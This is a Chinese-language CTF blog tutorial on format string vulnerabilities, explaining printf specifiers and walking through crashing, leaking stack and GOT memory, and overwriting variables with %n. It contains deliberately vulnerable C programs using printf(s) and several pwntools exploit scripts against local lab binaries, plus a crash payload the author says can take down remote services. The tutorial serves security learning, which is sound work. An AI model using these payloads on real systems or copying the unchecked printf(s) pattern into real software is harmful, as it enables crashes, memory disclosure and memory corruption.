0x00 格式化字符串的原理
格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式,常见的格式化字符串函数有:
类型 | 函数 | 基本介绍 |
输入 | scanf | 从标准输入读取格式化输入 |
gets | 用于从标准输入读取一行 | |
...... | ...... | |
输出 | printf | 输出到 stdout |
fprintf | 输出到指定 FILE 流 | |
vprintf | 根据参数列表格式化输出到 stdout | |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 | |
sprintf | 输出到字符串 | |
snprintf | 输出指定字节数到字符串 | |
vsprintf | 根据参数列表格式化输出到字符串 | |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 | |
setproctitle | 设置 argv | |
syslog | 输出日志 | |
...... | ...... |
格式化字符串的基本格式如下:
%[parameter][flags][field width][.precision][length]type
- parameter
- n$,获取格式化字符串中的指定参数
- flag
- field width
- 输出的最小宽度
- precision
- 输出的最大长度
- length,输出的长度
- hh,输出一个字节
- h,输出一个双字节
- type
- d/i,有符号整数
- u,无符号整数
- x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
- c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
- p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %, 输出一个‘%’。
0x02 格式化字符串漏洞
栈上布局如下
其他数据 |
3.14 |
123456 |
addr of "red" |
addr of format string : " Color %s, Number %d, Float %4.2f" |
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
- 当前字符不是 %,直接输出到相应标准输出。
- 当前字符是 %, 继续读取下一个字符
- 如果没有字符,报错
- 如果下一个字符是 %, 输出 %
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出
但是如果写成了这样:
printf("Color %s, Number %d, Float %4.2f");
运行出来就会是这样
可以看到三个参数该出现的地方出现了一些不可预测的数据 ,这就是格式化字符串漏洞的基本原理。
0x03格式化字符串漏洞的利用
一、程序崩溃
在 C 语言中,printf 函数用于格式化输出,如果 %s 对应的参数地址不合法,即指向的内存区域不可访问或未被正确初始化,那么 printf 函数的行为是未定义的,这可能导致程序崩溃、输出随机垃圾值或安全漏洞。以下是一些可能导致 %s 对应参数地址不合法的情况:
空指针 | 未初始化的指针 | 越界指针 | 释放后的指针 |
因此我们可以输入%s%s%s%s%s%s%s%s%s%s%s%s%s%s来使程序崩溃,因为栈上不可能每个值都对应了合法的地址,可以利用此来使远程服务崩溃。
二、泄露内存
给出程序(来源CTF Wiki):
编译不成功请执行sudo apt install libc6-dev-i386
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
1.获取栈变量数值
在printf函数后打断点,然后运行
按r运行后,此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序,按c会把上图中0xffffd180及其后面两个地址包含的内容输出
并不是每次得到的结果都一样 ,栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。
2.获取栈指定变量值
可以使用%n$x获得栈上第n+1个参数,格式化字符串是第一个参数,那么如果想获得printf的第n个参数,就需要加1。如果需要获取对应字符串(数据)就把x换成s(p)。
3.获取任意地址内存
上面的泄露并不强力,比赛中经常需要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。
该程序中scanf接收入s的值,然后两个printf。这里我们输入%s,如下调试,打印出0xff007325, 就是%s对应的字符串值,那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容:
addr%k$s
对于参数k的确定,我们可以用以下输入确定
AAAA%p%p%p%p%p%p%p...
一般我们通过0x41414141出现的位置来确定我们的格式化字符串的起始地址是输出函数的第几个参数,因此我们可以用这个方法来泄露任意地址内存,下文演示获取 scanf 的地址
先获取 scanf@got 的地址:
构造 payload:
from pwn import *
sh = process('./1')
__isoc99_scanf_got = 0x804c014
print(hex(__isoc99_scanf_got))
payload = p32(__isoc99_scanf_got) +b'%4$s'
print(payload)
sh.sendline(payload)
sh.recvuntil(b'%4$s\n')
print(hex(u32(sh.recv()[4:8])))
sh.interactive()
但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。
[padding][addr]
三、覆盖内存
例题:
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
格式化字符串中,%n 类型,不输出任何字符,而是把前面已经输出的字符个数写入对应的整型指针参数所指向的变量,使用方法如下
...[需要覆盖的地址]....%[输入存储的位置为输出函数的格式化字符串的第几个参数]$n
由于该程序开启了ASLR保护,因此栈地址会一直变化,所以题目中给出了变量c的地址,否则需要先使用别的方法进行地址泄露,然后确定相对偏移:
发现格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数。因此构造exp可以修改c的值完成 c == 16 的判定:
from pwn import *
sh = process('./1')
c_addr = int(sh.recvuntil(b'\n', drop=True), 16)
payload = p32(c_addr) + b'%012d' + b'%6$n'
sh.sendline(payload)
print(sh.recv())
sh.interactive()
运行成功:
接下来分情况讨论极小数字和极大数字如何覆盖
1.覆盖小数字
如果将要覆盖的地址放在最前面,那么将直接占用机器字长个 (4 或 8) 字节,无论之后如何输出,都只会比 4 大。这时,我们可以在%k$n前写两个字符,然后在后面加上要覆盖的地址,由于32位系统参数为4个字节,因此需要使xx%k$n对应两个参数大小,因此n后面需要再加xx,而覆盖地址变成了8个参数,xx%k变成了第六个参数,因此k应该写成8,exp如下:
from pwn import *
sh = process('./1')
a_addr = 0x0804C024
payload = b'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print(sh.recv())
sh.interactive()
运行成功:
2.覆盖大数字
我们可以采取一次性输入超级超级多个字节来进行覆盖,但是一般不这样做(大概率会失败而且运行很慢),我们一般用格式化字符串中的%hhn(char尺寸整型参数)向某个地址写入单字节,用%hn(short尺寸整型参数)写入双字节。
在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址,查看要修改的b变量地址为
因此需要按如下方式覆盖
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
payload结构如下:
payload=p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
这里给出CTF Wiki的exp:
这个在python3环境下运行不起来,因为 payload += p32(addr + i) 不能用字节加字符串,具体解决方法还没找到,懂得的师傅请在评论区写一下谢谢。
标签:输出,格式化,漏洞,地址,字符串,printf,Pwn,参数 From: https://blog.csdn.net/Rinko233/article/details/143518692